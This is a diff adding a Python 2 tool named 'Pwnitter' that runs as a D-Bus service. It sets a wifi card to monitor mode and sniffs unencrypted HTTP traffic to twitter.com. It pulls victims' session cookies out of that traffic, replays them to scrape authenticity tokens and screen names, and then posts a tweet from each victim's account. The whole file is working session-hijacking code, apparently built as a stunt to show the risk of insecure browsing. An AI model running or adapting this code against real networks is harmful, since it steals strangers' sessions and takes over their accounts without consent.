--- /dev/null
+#!/usr/bin/env python
+# On Linux (as root):
+# * apt-get install libpcap0.8 python-pypcap python-dpkt
+# * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
+# * ./idiocy.py -i mon0
+
+import dbus.service
+import dbus.mainloop.glib
+import getopt, sys, pcap, dpkt, re, httplib, urllib
+import socket
+import time
+import gobject
+import select
+import subprocess
+
+status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.'
+
+def usage():
+ print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
+ sys.exit(1)
+
+NAME = 'de.cryptobitch.muelli.Pwnitter'
+
+class Pwnitter(dbus.service.Object):
+ def __init__(self, bus, object_name, device='mon0'):
+ super(Pwnitter, self).__init__(bus, object_name)
+ self.device = device
+
+ self.status = status
+ self.is_running = False
+
+ @dbus.service.method(NAME,
+ in_signature='', out_signature='')
+ def Start(self, device='mon0'):
+ # FIXME: Prevent double Start()
+ cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
+ subprocess.call(cmd)
+ cmd = '/sbin/ifconfig mon0 up'.split()
+ subprocess.call(cmd)
+ self.is_running = True
+ try:
+ self.cap = pcap.pcap(device)
+ except OSError, e:
+ print "Error setting up %s" % device
+ raise e
+ self.cap.setfilter('dst port 80')
+ gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
+
+ @dbus.service.signal(NAME)
+ def MessageSent(self, who):
+ print "Emitting MessageSent"
+ return who
+ return False
+ pass
+
+ @dbus.service.method(NAME,
+ in_signature='s', out_signature='')
+ def SetMessage(self, message):
+ self.status = message
+
+ @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
+ in_signature='', out_signature='s')
+ def GetMessage(self):
+ return self.status
+
+ @dbus.service.method(NAME,
+ in_signature='', out_signature='')
+ def Stop(self):
+ self.is_running = False
+ print "Receive Stop"
+ cmd = '/sbin/ifconfig mon0 down'.split()
+ subprocess.call(cmd)
+ cmd = '/usr/sbin/iw dev mon0 del'.split()
+ subprocess.call(cmd)
+ loop.quit()
+
+
+ def pwn(self, device, tweeted_callback=None):
+ processed = {}
+ if self.is_running: # This is probably not needed, but I feel better checking it more than too less
+ #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist
+ cap_fileno = self.cap.fileno()
+ rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
+ #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
+ if cap_fileno in rlist:
+ ts, raw = self.cap.next()
+ eth = dpkt.ethernet.Ethernet(raw)
+ #print 'got a packet'
+ # Depending on platform, we can either get fully formed packets or unclassified radio data
+ if isinstance(eth.data, str):
+ data = eth.data
+ else:
+ data = eth.data.data.data
+
+ hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
+ if hostMatches:
+ print 'Host matched'
+ host = hostMatches.group(1)
+
+ cookieMatches = re.search('Cookie: ([^\n]+)', data)
+ if cookieMatches:
+ cookie = cookieMatches.group(1)
+
+ headers = {
+ "User-Agent": "Mozilla/5.0",
+ "Cookie": cookie,
+ }
+
+ conn = httplib.HTTPSConnection(host)
+ try:
+ conn.request("GET", "/", None, headers)
+ except socket.error, e:
+ print e
+ else:
+ response = conn.getresponse()
+ page = response.read()
+
+ # Newtwitter and Oldtwitter have different formatting, so be lax
+ authToken = ''
+
+ formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
+ if formMatches:
+ authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
+
+ if authMatches:
+ authToken = authMatches.group(1)
+
+ nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
+ if not nameMatches:
+ nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
+
+ name = ''
+ if nameMatches:
+ name = nameMatches.group(1)
+
+
+ # We don't want to repeatedly spam people
+ # FIXME: What the fuck logic. Please clean up
+ if not ((not name and host != 'mobile.twitter.com') or name in processed):
+ headers = {
+ "User-Agent": "Mozilla/5.0",
+ "Accept": "application/json, text/javascript, */*",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-PHX": "true",
+ "Referer": "http://api.twitter.com/p_receiver.html",
+ "Cookie": cookie
+ }
+
+
+ print 'Issueing connection'
+ if host == 'mobile.twitter.com':
+
+ params = urllib.urlencode({
+ 'tweet[text]': self.status,
+ 'authenticity_token': authToken
+ })
+
+ conn = httplib.HTTPConnection("mobile.twitter.com")
+ conn.request("POST", "/", params, headers)
+
+ else:
+
+ params = urllib.urlencode({
+ 'status': self.status,
+ 'post_authenticity_token': authToken
+ })
+
+ conn = httplib.HTTPConnection("api.twitter.com")
+ conn.request("POST", "/1/statuses/update.json", params, headers)
+
+
+ response = conn.getresponse()
+ print 'Got response: %s' % response.status
+ if response.status == 200 or response.status == 302 or response.status == 403:
+
+ if name:
+ processed[name] = 1
+
+ # 403 is a dupe tweet
+ if response.status != 403:
+ print "Successfully tweeted as %s" % name
+ print 'calling %s' % tweeted_callback
+ if tweeted_callback:
+ tweeted_callback(name)
+ else:
+ print 'Already tweeted as %s' % name
+
+ else:
+
+ print "FAILED to tweet as %s, debug follows:" % name
+ print response.status, response.reason
+ print response.read() + "\n"
+ #break # Break after one read packet
+ return self.is_running # Execute next time, we're idle
+ # FIXME: Ideally, check whether Pcap has got data for us
+
+def main():
+
+ opts, args = getopt.getopt(sys.argv[1:], 'i:h')
+ device = None
+ for o, a in opts:
+ if o == '-i':
+ device = a
+ else:
+ usage()
+ #pwn(device)
+
+
+
+if __name__ == '__main__':
+ dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+
+ #session_bus = dbus.SessionBus()
+ session_bus = dbus.SystemBus()
+ name = dbus.service.BusName(NAME, session_bus)
+ pwnitter = Pwnitter(session_bus, '/Pwnitter')
+ #object.Start()
+
+ loop = gobject.MainLoop()
+ print "Running example signal emitter service."
+ # FIXME: This is debug code
+ #gobject.idle_add(pwnitter.MessageSent)
+
+ loop.run()
+ print "Exiting for whatever reason"
+ #main()